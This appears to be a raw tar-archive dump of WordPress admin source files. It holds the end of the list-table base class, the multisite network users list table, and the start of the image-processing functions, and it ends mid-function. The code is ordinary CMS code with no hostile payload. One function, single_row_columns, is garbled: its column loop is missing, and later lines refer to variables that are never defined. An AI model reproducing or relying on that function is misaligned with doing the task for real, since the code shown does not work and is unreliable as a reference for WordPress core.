<br class="clear" />
	</div>
		<?php
	}

/**
	 * Extra controls to be displayed between bulk actions and pagination.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {}

/**
	 * Generates the tbody element for the list table.
	 *
	 * @since 3.1.0
	 */
	public function display_rows_or_placeholder() {
		if ( $this->has_items() ) {
			$this->display_rows();
		} else {
			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
			$this->no_items();
			echo '</td></tr>';
		}
	}

/**
	 * Generates the table rows.
	 *
	 * @since 3.1.0
	 */
	public function display_rows() {
		foreach ( $this->items as $item ) {
			$this->single_row( $item );
		}
	}

/**
	 * Generates content for a single row of the table.
	 *
	 * @since 3.1.0
	 *
	 * @param object $item The current item
	 */
	public function single_row( $item ) {
		echo '<tr>';
		$this->single_row_columns( $item );
		echo '</tr>';
	}

/**
	 * @param object $item
	 * @param string $column_name
	 */
	protected function column_default( $item, $column_name ) {}

/**
	 * @param object $item
	 */
	protected function column_cb( $item ) {}

/**
	 * Generates the columns for a single row of the table.
	 *
	 * @since 3.1.0
	 *
	 * @param object $item The current item.
	 */
	protected function single_row_columns( $item ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

if ( in_array( $column_name, $hidden, true ) ) {
				$classes .= ' hidden';
			}

// Comments column uses HTML in the display name with screen reader text.
			// Instead of using esc_attr(), we strip tags to get closer to a user-friendly string.
			$data = 'data-colname="' . wp_strip_all_tags( $column_display_name ) . '"';

$attributes = "class='$classes' $data";

if ( 'cb' === $column_name ) {
				echo '<th scope="row" class="check-column">';
				echo $this->column_cb( $item );
				echo '</th>';
			} elseif ( method_exists( $this, '_column_' . $column_name ) ) {
				echo call_user_func(
					array( $this, '_column_' . $column_name ),
					$item,
					$classes,
					$data,
					$primary
				);
			} elseif ( method_exists( $this, 'column_' . $column_name ) ) {
				echo "<td $attributes>";
				echo call_user_func( array( $this, 'column_' . $column_name ), $item );
				echo $this->handle_row_actions( $item, $column_name, $primary );
				echo '</td>';
			} else {
				echo "<td $attributes>";
				echo $this->column_default( $item, $column_name );
				echo $this->handle_row_actions( $item, $column_name, $primary );
				echo '</td>';
			}
		}
	}

/**
	 * Generates and display row actions links for the list table.
	 *
	 * @since 4.3.0
	 *
	 * @param object $item        The item being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string The row actions HTML, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		return $column_name === $primary ? '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __( 'Show more details' ) . '</span></button>' : '';
	}

/**
	 * Handles an incoming ajax request (called from admin-ajax.php)
	 *
	 * @since 3.1.0
	 */
	public function ajax_response() {
		$this->prepare_items();

ob_start();
		if ( ! empty( $_REQUEST['no_placeholder'] ) ) {
			$this->display_rows();
		} else {
			$this->display_rows_or_placeholder();
		}

$rows = ob_get_clean();

$response = array( 'rows' => $rows );

if ( isset( $this->_pagination_args['total_items'] ) ) {
			$response['total_items_i18n'] = sprintf(
				/* translators: Number of items. */
				_n( '%s item', '%s items', $this->_pagination_args['total_items'] ),
				number_format_i18n( $this->_pagination_args['total_items'] )
			);
		}
		if ( isset( $this->_pagination_args['total_pages'] ) ) {
			$response['total_pages']      = $this->_pagination_args['total_pages'];
			$response['total_pages_i18n'] = number_format_i18n( $this->_pagination_args['total_pages'] );
		}

die( wp_json_encode( $response ) );
	}

/**
	 * Sends required variables to JavaScript land.
	 *
	 * @since 3.1.0
	 */
	public function _js_vars() {
		$args = array(
			'class'  => get_class( $this ),
			'screen' => array(
				'id'   => $this->screen->id,
				'base' => $this->screen->base,
			),
		);

printf( "<script type='text/javascript'>list_args = %s;</script>\n", wp_json_encode( $args ) );
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-ms-users-list-table.php��������������������������������������������������������������������0000604�����������������00000033434�15075125354�0012632 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_MS_Users_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying users in a list table for the network admin.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_MS_Users_List_Table extends WP_List_Table {
	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'manage_network_users' );
	}

/**
	 * @global string $mode       List table view mode.
	 * @global string $usersearch
	 * @global string $role
	 */
	public function prepare_items() {
		global $mode, $usersearch, $role;

if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'network_users_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'network_users_list_mode', 'list' );
		}

$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';

$users_per_page = $this->get_items_per_page( 'users_network_per_page' );

$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

$paged = $this->get_pagenum();

$args = array(
			'number'  => $users_per_page,
			'offset'  => ( $paged - 1 ) * $users_per_page,
			'search'  => $usersearch,
			'blog_id' => 0,
			'fields'  => 'all_with_meta',
		);

if ( wp_is_large_network( 'users' ) ) {
			$args['search'] = ltrim( $args['search'], '*' );
		} elseif ( '' !== $args['search'] ) {
			$args['search'] = trim( $args['search'], '*' );
			$args['search'] = '*' . $args['search'] . '*';
		}

if ( 'super' === $role ) {
			$args['login__in'] = get_super_admins();
		}

/*
		 * If the network is large and a search is not being performed,
		 * show only the latest users with no paging in order to avoid
		 * expensive count queries.
		 */
		if ( ! $usersearch && wp_is_large_network( 'users' ) ) {
			if ( ! isset( $_REQUEST['orderby'] ) ) {
				$_GET['orderby']     = 'id';
				$_REQUEST['orderby'] = 'id';
			}
			if ( ! isset( $_REQUEST['order'] ) ) {
				$_GET['order']     = 'DESC';
				$_REQUEST['order'] = 'DESC';
			}
			$args['count_total'] = false;
		}

if ( isset( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = $_REQUEST['orderby'];
		}

if ( isset( $_REQUEST['order'] ) ) {
			$args['order'] = $_REQUEST['order'];
		}

/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
		$args = apply_filters( 'users_list_table_query_args', $args );

// Query the user IDs for this page.
		$wp_user_search = new WP_User_Query( $args );

$this->items = $wp_user_search->get_results();

$this->set_pagination_args(
			array(
				'total_items' => $wp_user_search->get_total(),
				'per_page'    => $users_per_page,
			)
		);
	}

/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();
		if ( current_user_can( 'delete_users' ) ) {
			$actions['delete'] = __( 'Delete' );
		}
		$actions['spam']    = _x( 'Mark as spam', 'user' );
		$actions['notspam'] = _x( 'Not spam', 'user' );

return $actions;
	}

/**
	 */
	public function no_items() {
		_e( 'No users found.' );
	}

/**
	 * @global string $role
	 * @return array
	 */
	protected function get_views() {
		global $role;

$total_users  = get_user_count();
		$super_admins = get_super_admins();
		$total_admins = count( $super_admins );

$current_link_attributes = 'super' !== $role ? ' class="current" aria-current="page"' : '';
		$role_links              = array();
		$role_links['all']       = sprintf(
			'<a href="%s"%s>%s</a>',
			network_admin_url( 'users.php' ),
			$current_link_attributes,
			sprintf(
				/* translators: Number of users. */
				_nx(
					'All <span class="count">(%s)</span>',
					'All <span class="count">(%s)</span>',
					$total_users,
					'users'
				),
				number_format_i18n( $total_users )
			)
		);
		$current_link_attributes = 'super' === $role ? ' class="current" aria-current="page"' : '';
		$role_links['super']     = sprintf(
			'<a href="%s"%s>%s</a>',
			network_admin_url( 'users.php?role=super' ),
			$current_link_attributes,
			sprintf(
				/* translators: Number of users. */
				_n(
					'Super Admin <span class="count">(%s)</span>',
					'Super Admins <span class="count">(%s)</span>',
					$total_admins
				),
				number_format_i18n( $total_admins )
			)
		);

return $role_links;
	}

/**
	 * @global string $mode List table view mode.
	 *
	 * @param string $which
	 */
	protected function pagination( $which ) {
		global $mode;

parent::pagination( $which );

if ( 'top' === $which ) {
			$this->view_switcher( $mode );
		}
	}

/**
	 * @return array
	 */
	public function get_columns() {
		$users_columns = array(
			'cb'         => '<input type="checkbox" />',
			'username'   => __( 'Username' ),
			'name'       => __( 'Name' ),
			'email'      => __( 'Email' ),
			'registered' => _x( 'Registered', 'user' ),
			'blogs'      => __( 'Sites' ),
		);
		/**
		 * Filters the columns displayed in the Network Admin Users list table.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $users_columns An array of user columns. Default 'cb', 'username',
		 *                                'name', 'email', 'registered', 'blogs'.
		 */
		return apply_filters( 'wpmu_users_columns', $users_columns );
	}

/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'username'   => 'login',
			'name'       => 'name',
			'email'      => 'email',
			'registered' => 'id',
		);
	}

/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_cb( $user ) {
		if ( is_super_admin( $user->ID ) ) {
			return;
		}
		?>
		<label class="screen-reader-text" for="blog_<?php echo $user->ID; ?>">
			<?php
			/* translators: %s: User login. */
			printf( __( 'Select %s' ), $user->user_login );
			?>
		</label>
		<input type="checkbox" id="blog_<?php echo $user->ID; ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ); ?>" />
		<?php
	}

/**
	 * Handles the ID column output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_id( $user ) {
		echo $user->ID;
	}

/**
	 * Handles the username column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_username( $user ) {
		$super_admins = get_super_admins();
		$avatar       = get_avatar( $user->user_email, 32 );

echo $avatar;

if ( current_user_can( 'edit_user', $user->ID ) ) {
			$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
			$edit      = "<a href=\"{$edit_link}\">{$user->user_login}</a>";
		} else {
			$edit = $user->user_login;
		}

?>
		<strong>
			<?php
			echo $edit;

if ( in_array( $user->user_login, $super_admins, true ) ) {
				echo ' &mdash; ' . __( 'Super Admin' );
			}
			?>
		</strong>
		<?php
	}

/**
	 * Handles the name column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_name( $user ) {
		if ( $user->first_name && $user->last_name ) {
			echo "$user->first_name $user->last_name";
		} elseif ( $user->first_name ) {
			echo $user->first_name;
		} elseif ( $user->last_name ) {
			echo $user->last_name;
		} else {
			echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . _x( 'Unknown', 'name' ) . '</span>';
		}
	}

/**
	 * Handles the email column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_email( $user ) {
		echo "<a href='" . esc_url( "mailto:$user->user_email" ) . "'>$user->user_email</a>";
	}

/**
	 * Handles the registered date column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_registered( $user ) {
		global $mode;
		if ( 'list' === $mode ) {
			$date = __( 'Y/m/d' );
		} else {
			$date = __( 'Y/m/d g:i:s a' );
		}
		echo mysql2date( $date, $user->user_registered );
	}

/**
	 * @since 4.3.0
	 *
	 * @param WP_User $user
	 * @param string  $classes
	 * @param string  $data
	 * @param string  $primary
	 */
	protected function _column_blogs( $user, $classes, $data, $primary ) {
		echo '<td class="', $classes, ' has-row-actions" ', $data, '>';
		echo $this->column_blogs( $user );
		echo $this->handle_row_actions( $user, 'blogs', $primary );
		echo '</td>';
	}

/**
	 * Handles the sites column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_blogs( $user ) {
		$blogs = get_blogs_of_user( $user->ID, true );
		if ( ! is_array( $blogs ) ) {
			return;
		}

foreach ( $blogs as $val ) {
			if ( ! can_edit_network( $val->site_id ) ) {
				continue;
			}

$path         = ( '/' === $val->path ) ? '' : $val->path;
			$site_classes = array( 'site-' . $val->site_id );
			/**
			 * Filters the span class for a site listing on the mulisite user list table.
			 *
			 * @since 5.2.0
			 *
			 * @param string[] $site_classes Array of class names used within the span tag. Default "site-#" with the site's network ID.
			 * @param int      $site_id      Site ID.
			 * @param int      $network_id   Network ID.
			 * @param WP_User  $user         WP_User object.
			 */
			$site_classes = apply_filters( 'ms_user_list_site_class', $site_classes, $val->userblog_id, $val->site_id, $user );
			if ( is_array( $site_classes ) && ! empty( $site_classes ) ) {
				$site_classes = array_map( 'sanitize_html_class', array_unique( $site_classes ) );
				echo '<span class="' . esc_attr( implode( ' ', $site_classes ) ) . '">';
			} else {
				echo '<span>';
			}
			echo '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) . '">' . str_replace( '.' . get_network()->domain, '', $val->domain . $path ) . '</a>';
			echo ' <small class="row-actions">';
			$actions         = array();
			$actions['edit'] = '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) . '">' . __( 'Edit' ) . '</a>';

$class = '';
			if ( 1 == $val->spam ) {
				$class .= 'site-spammed ';
			}
			if ( 1 == $val->mature ) {
				$class .= 'site-mature ';
			}
			if ( 1 == $val->deleted ) {
				$class .= 'site-deleted ';
			}
			if ( 1 == $val->archived ) {
				$class .= 'site-archived ';
			}

$actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $val->userblog_id ) ) . '">' . __( 'View' ) . '</a>';

/**
			 * Filters the action links displayed next the sites a user belongs to
			 * in the Network Admin Users list table.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of action links to be displayed. Default 'Edit', 'View'.
			 * @param int      $userblog_id The site ID.
			 */
			$actions = apply_filters( 'ms_user_list_site_actions', $actions, $val->userblog_id );

$action_count = count( $actions );

$i = 0;

foreach ( $actions as $action => $link ) {
				++$i;

$sep = ( $i < $action_count ) ? ' | ' : '';

echo "<span class='$action'>$link$sep</span>";
			}

echo '</small></span><br/>';
		}
	}

/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user        The current WP_User object.
	 * @param string  $column_name The current column name.
	 */
	public function column_default( $user, $column_name ) {
		/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
		echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID );
	}

public function display_rows() {
		foreach ( $this->items as $user ) {
			$class = '';

$status_list = array(
				'spam'    => 'site-spammed',
				'deleted' => 'site-deleted',
			);

foreach ( $status_list as $status => $col ) {
				if ( $user->$status ) {
					$class .= " $col";
				}
			}

?>
			<tr class="<?php echo trim( $class ); ?>">
				<?php $this->single_row_columns( $user ); ?>
			</tr>
			<?php
		}
	}

/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'username'.
	 */
	protected function get_default_primary_column_name() {
		return 'username';
	}

/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 *
	 * @param object $user        User being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for users in Multisite, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $user, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

$super_admins = get_super_admins();

$actions = array();

if ( current_user_can( 'edit_user', $user->ID ) ) {
			$edit_link       = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
			$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
		}

if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins, true ) ) {
			$actions['delete'] = '<a href="' . esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&amp;action=deleteuser&amp;id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>';
		}

/**
		 * Filters the action links displayed under each user in the Network Admin Users list table.
		 *
		 * @since 3.2.0
		 *
		 * @param string[] $actions An array of action links to be displayed. Default 'Edit', 'Delete'.
		 * @param WP_User  $user    WP_User object.
		 */
		$actions = apply_filters( 'ms_user_row_actions', $actions, $user );

return $this->row_actions( $actions );
	}
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������image.php�������������������������������������������������������������������������������������������0000604�����������������00000103336�15075125354�0006350 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * File contains all the administration image manipulation functions.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Crops an image to a given size.
 *
 * @since 2.1.0
 *
 * @param string|int $src      The source file or Attachment ID.
 * @param int        $src_x    The start x position to crop from.
 * @param int        $src_y    The start y position to crop from.
 * @param int        $src_w    The width to crop.
 * @param int        $src_h    The height to crop.
 * @param int        $dst_w    The destination width.
 * @param int        $dst_h    The destination height.
 * @param bool       $src_abs  Optional. If the source crop points are absolute.
 * @param string     $dst_file Optional. The destination file to write to.
 * @return string|WP_Error New filepath on success, WP_Error on failure.
 */
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
	$src_file = $src;
	if ( is_numeric( $src ) ) { // Handle int as attachment ID.
		$src_file = get_attached_file( $src );

if ( ! file_exists( $src_file ) ) {
			// If the file doesn't exist, attempt a URL fopen on the src link.
			// This can occur with certain file replication plugins.
			$src = _load_image_to_edit_path( $src, 'full' );
		} else {
			$src = $src_file;
		}
	}

$editor = wp_get_image_editor( $src );
	if ( is_wp_error( $editor ) ) {
		return $editor;
	}

$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
	if ( is_wp_error( $src ) ) {
		return $src;
	}

if ( ! $dst_file ) {
		$dst_file = str_replace( wp_basename( $src_file ), 'cropped-' . wp_basename( $src_file ), $src_file );
	}

/*
	 * The directory containing the original file may no longer exist when
	 * using a replication plugin.
	 */
	wp_mkdir_p( dirname( $dst_file ) );

$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), wp_basename( $dst_file ) );

$result = $editor->save( $dst_file );
	if ( is_wp_error( $result ) ) {
		return $result;
	}

return $dst_file;
}

/**
 * Compare the existing image sub-sizes (as saved in the attachment meta)
 * to the currently registered image sub-sizes, and return the difference.
 *
 * Registered sub-sizes that are larger than the image are skipped.
 *
 * @since 5.3.0
 *
 * @param int $attachment_id The image attachment post ID.
 * @return array An array of the image sub-sizes that are currently defined but don't exist for this image.
 */
function wp_get_missing_image_subsizes( $attachment_id ) {
	if ( ! wp_attachment_is_image( $attachment_id ) ) {
		return array();
	}

$registered_sizes = wp_get_registered_image_subsizes();
	$image_meta       = wp_get_attachment_metadata( $attachment_id );

// Meta error?
	if ( empty( $image_meta ) ) {
		return $registered_sizes;
	}

// Use the originally uploaded image dimensions as full_width and full_height.
	if ( ! empty( $image_meta['original_image'] ) ) {
		$image_file = wp_get_original_image_path( $attachment_id );
		$imagesize  = @getimagesize( $image_file );
	}

if ( ! empty( $imagesize ) ) {
		$full_width  = $imagesize[0];
		$full_height = $imagesize[1];
	} else {
		$full_width  = (int) $image_meta['width'];
		$full_height = (int) $image_meta['height'];
	}

$possible_sizes = array();

// Skip registered sizes that are too large for the uploaded image.
	foreach ( $registered_sizes as $size_name => $size_data ) {
		if ( image_resize_dimensions( $full_width, $full_height, $size_data['width'], $size_data['height'], $size_data['crop'] ) ) {
			$possible_sizes[ $size_name ] = $size_data;
		}
	}

if ( empty( $image_meta['sizes'] ) ) {
		$image_meta['sizes'] = array();
	}

/*
	 * Remove sizes that already exist. Only checks for matching "size names".
	 * It is possible that the dimensions for a particular size name have changed.
	 * For example the user has changed the values on the Settings -> Media screen.
	 * However we keep the old sub-sizes with the previous dimensions
	 * as the image may have been used in an older post.
	 */
	$missing_sizes = array_diff_key( $possible_sizes, $image_meta['sizes'] );

/**
	 * Filters the array of missing image sub-sizes for an uploaded image.
	 *
	 * @since 5.3.0
	 *
	 * @param array $missing_sizes Array with the missing image sub-sizes.
	 * @param array $image_meta    The image meta data.
	 * @param int   $attachment_id The image attachment post ID.
	 */
	return apply_filters( 'wp_get_missing_image_subsizes', $missing_sizes, $image_meta, $attachment_id );
}

/**
 * If any of the currently registered image sub-sizes are missing,
 * create them and update the image meta data.
 *
 * @since 5.3.0
 *
 * @param int $attachment_id The image attachment post ID.
 * @return array|WP_Error The updated image meta data array or WP_Error object
 *                        if both the image meta and the attached file are missing.
 */
function wp_update_image_subsizes( $attachment_id ) {
	$image_meta = wp_get_attachment_metadata( $attachment_id );
	$image_file = wp_get_original_image_path( $attachment_id );

if ( empty( $image_meta ) || ! is_array( $image_meta ) ) {
		// Previously failed upload?
		// If there is an uploaded file, make all sub-sizes and generate all of the attachment meta.
		if ( ! empty( $image_file ) ) {
			$image_meta = wp_create_image_subsizes( $image_file, $attachment_id );
		} else {
			return new WP_Error( 'invalid_attachment', __( 'The attached file cannot be found.' ) );
		}
	} else {
		$missing_sizes = wp_get_missing_image_subsizes( $attachment_id );

if ( empty( $missing_sizes ) ) {
			return $image_meta;
		}

// This also updates the image meta.
		$image_meta = _wp_make_subsizes( $missing_sizes, $image_file, $image_meta, $attachment_id );
	}

/** This filter is documented in wp-admin/includes/image.php */
	$image_meta = apply_filters( 'wp_generate_attachment_metadata', $image_meta, $attachment_id, 'update' );

// Save the updated metadata.
	wp_update_attachment_metadata( $attachment_id, $image_meta );

return $image_meta;
}

/**
 * Updates the attached file and image meta data when the original image was edited.
 *
 * @since 5.3.0
 * @access private
 *
 * @param array  $saved_data    The data returned from WP_Image_Editor after successfully saving an image.
 * @param string $original_file Path to the original file.
 * @param array  $image_meta    The image meta data.
 * @param int    $attachment_id The attachment post ID.
 * @return array The updated image meta data.
 */
function _wp_image_meta_replace_original( $saved_data, $original_file, $image_meta, $attachment_id ) {
	$new_file = $saved_data['path'];

// Update the attached file meta.
	update_attached_file( $attachment_id, $new_file );

// Width and height of the new image.
	$image_meta['width']  = $saved_data['width'];
	$image_meta['height'] = $saved_data['height'];

// Make the file path relative to the upload dir.
	$image_meta['file'] = _wp_relative_upload_path( $new_file );

// Store the original image file name in image_meta.
	$image_meta['original_image'] = wp_basename( $original_file );

return $image_meta;
}

/**
 * Creates image sub-sizes, adds the new data to the image meta `sizes` array, and updates the image metadata.
 *
 * Intended for use after an image is uploaded. Saves/updates the image metadata after each
 * sub-size is created. If there was an error, it is added to the returned image metadata array.
 *
 * @since 5.3.0
 *
 * @param string $file          Full path to the image file.
 * @param int    $attachment_id Attachment Id to process.
 * @return array The image attachment meta data.
 */
function wp_create_image_subsizes( $file, $attachment_id ) {
	$imagesize = @getimagesize( $file );

if ( empty( $imagesize ) ) {
		// File is not an image.
		return array();
	}

// Default image meta.
	$image_meta = array(
		'width'  => $imagesize[0],
		'height' => $imagesize[1],
		'file'   => _wp_relative_upload_path( $file ),
		'sizes'  => array(),
	);

// Fetch additional metadata from EXIF/IPTC.
	$exif_meta = wp_read_image_metadata( $file );

if ( $exif_meta ) {
		$image_meta['image_meta'] = $exif_meta;
	}

// Do not scale (large) PNG images. May result in sub-sizes that have greater file size than the original. See #48736.
	if ( 'image/png' !== $imagesize['mime'] ) {

/**
		 * Filters the "BIG image" threshold value.
		 *
		 * If the original image width or height is above the threshold, it will be scaled down. The threshold is
		 * used as max width and max height. The scaled down image will be used as the largest available size, including
		 * the `_wp_attached_file` post meta value.
		 *
		 * Returning `false` from the filter callback will disable the scaling.
		 *
		 * @since 5.3.0
		 *
		 * @param int    $threshold     The threshold value in pixels. Default 2560.
		 * @param array  $imagesize     {
		 *     Indexed array of the image width and height in pixels.
		 *
		 *     @type int $0 The image width.
		 *     @type int $1 The image height.
		 * }
		 * @param string $file          Full path to the uploaded image file.
		 * @param int    $attachment_id Attachment post ID.
		 */
		$threshold = (int) apply_filters( 'big_image_size_threshold', 2560, $imagesize, $file, $attachment_id );

// If the original image's dimensions are over the threshold,
		// scale the image and use it as the "full" size.
		if ( $threshold && ( $image_meta['width'] > $threshold || $image_meta['height'] > $threshold ) ) {
			$editor = wp_get_image_editor( $file );

if ( is_wp_error( $editor ) ) {
				// This image cannot be edited.
				return $image_meta;
			}

// Resize the image.
			$resized = $editor->resize( $threshold, $threshold );
			$rotated = null;

// If there is EXIF data, rotate according to EXIF Orientation.
			if ( ! is_wp_error( $resized ) && is_array( $exif_meta ) ) {
				$resized = $editor->maybe_exif_rotate();
				$rotated = $resized;
			}

if ( ! is_wp_error( $resized ) ) {
				// Append "-scaled" to the image file name. It will look like "my_image-scaled.jpg".
				// This doesn't affect the sub-sizes names as they are generated from the original image (for best quality).
				$saved = $editor->save( $editor->generate_filename( 'scaled' ) );

if ( ! is_wp_error( $saved ) ) {
					$image_meta = _wp_image_meta_replace_original( $saved, $file, $image_meta, $attachment_id );

// If the image was rotated update the stored EXIF data.
					if ( true === $rotated && ! empty( $image_meta['image_meta']['orientation'] ) ) {
						$image_meta['image_meta']['orientation'] = 1;
					}
				} else {
					// TODO: Log errors.
				}
			} else {
				// TODO: Log errors.
			}
		} elseif ( ! empty( $exif_meta['orientation'] ) && 1 !== (int) $exif_meta['orientation'] ) {
			// Rotate the whole original image if there is EXIF data and "orientation" is not 1.

$editor = wp_get_image_editor( $file );

if ( is_wp_error( $editor ) ) {
				// This image cannot be edited.
				return $image_meta;
			}

// Rotate the image.
			$rotated = $editor->maybe_exif_rotate();

if ( true === $rotated ) {
				// Append `-rotated` to the image file name.
				$saved = $editor->save( $editor->generate_filename( 'rotated' ) );

if ( ! is_wp_error( $saved ) ) {
					$image_meta = _wp_image_meta_replace_original( $saved, $file, $image_meta, $attachment_id );

// Update the stored EXIF data.
					if ( ! empty( $image_meta['image_meta']['orientation'] ) ) {
						$image_meta['image_meta']['orientation'] = 1;
					}
				} else {
					// TODO: Log errors.
				}
			}
		}
	}

/*
	 * Initial save of the new metadata.
	 * At this point the file was uploaded and moved to the uploads directory
	 * but the image sub-sizes haven't been created yet and the `sizes` array is empty.
	 */
	wp_update_attachment_metadata( $attachment_id, $image_meta );

$new_sizes = wp_get_registered_image_subsizes();

/**
	 * Filters the image sizes automatically generated when uploading an image.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 Added the `$image_meta` argument.
	 * @since 5.3.0 Added the `$attachment_id` argument.
	 *
	 * @param array $new_sizes     Associative array of image sizes to be created.
	 * @param array $image_meta    The image meta data: width, height, file, sizes, etc.
	 * @param int   $attachment_id The attachment post ID for the image.
	 */
	$new_sizes = apply_filters( 'intermediate_image_sizes_advanced', $new_sizes, $image_meta, $attachment_id );

return _wp_make_subsizes( $new_sizes, $file, $image_meta, $attachment_id );
}

/**
 * Low-level function to create image sub-sizes.
 *
 * Updates the image meta after each sub-size is created.
 * Errors are stored in the returned image metadata array.
 *
 * @since 5.3.0
 * @access private
 *
 * @param array  $new_sizes     Array defining what sizes to create.
 * @param string $file          Full path to the image file.
 * @param array  $image_meta    The attachment meta data array.
 * @param int    $attachment_id Attachment Id to process.
 * @return array The attachment meta data with updated `sizes` array. Includes an array of errors encountered while resizing.
 */
function _wp_make_subsizes( $new_sizes, $file, $image_meta, $attachment_id ) {
	if ( empty( $image_meta ) || ! is_array( $image_meta ) ) {
		// Not an image attachment.
		return array();
	}

// Check if any of the new sizes already exist.
	if ( isset( $image_meta['sizes'] ) && is_array( $image_meta['sizes'] ) ) {
		foreach ( $image_meta['sizes'] as $size_name => $size_meta ) {
			/*
			 * Only checks "size name" so we don't override existing images even if the dimensions
			 * don't match the currently defined size with the same name.
			 * To change the behavior, unset changed/mismatched sizes in the `sizes` array in image meta.
			 */
			if ( array_key_exists( $size_name, $new_sizes ) ) {
				unset( $new_sizes[ $size_name ] );
			}
		}
	} else {
		$image_meta['sizes'] = array();
	}

if ( empty( $new_sizes ) ) {
		// Nothing to do...
		return $image_meta;
	}

/*
	 * Sort the image sub-sizes in order of priority when creating them.
	 * This ensures there is an appropriate sub-size the user can access immediately
	 * even when there was an error and not all sub-sizes were created.
	 */
	$priority = array(
		'medium'       => null,
		'large'        => null,
		'thumbnail'    => null,
		'medium_large' => null,
	);

$new_sizes = array_filter( array_merge( $priority, $new_sizes ) );

$editor = wp_get_image_editor( $file );

if ( is_wp_error( $editor ) ) {
		// The image cannot be edited.
		return $image_meta;
	}

// If stored EXIF data exists, rotate the source image before creating sub-sizes.
	if ( ! empty( $image_meta['image_meta'] ) ) {
		$rotated = $editor->maybe_exif_rotate();

if ( is_wp_error( $rotated ) ) {
			// TODO: Log errors.
		}
	}

if ( method_exists( $editor, 'make_subsize' ) ) {
		foreach ( $new_sizes as $new_size_name => $new_size_data ) {
			$new_size_meta = $editor->make_subsize( $new_size_data );

if ( is_wp_error( $new_size_meta ) ) {
				// TODO: Log errors.
			} else {
				// Save the size meta value.
				$image_meta['sizes'][ $new_size_name ] = $new_size_meta;
				wp_update_attachment_metadata( $attachment_id, $image_meta );
			}
		}
	} else {
		// Fall back to `$editor->multi_resize()`.
		$created_sizes = $editor->multi_resize( $new_sizes );

if ( ! empty( $created_sizes ) ) {
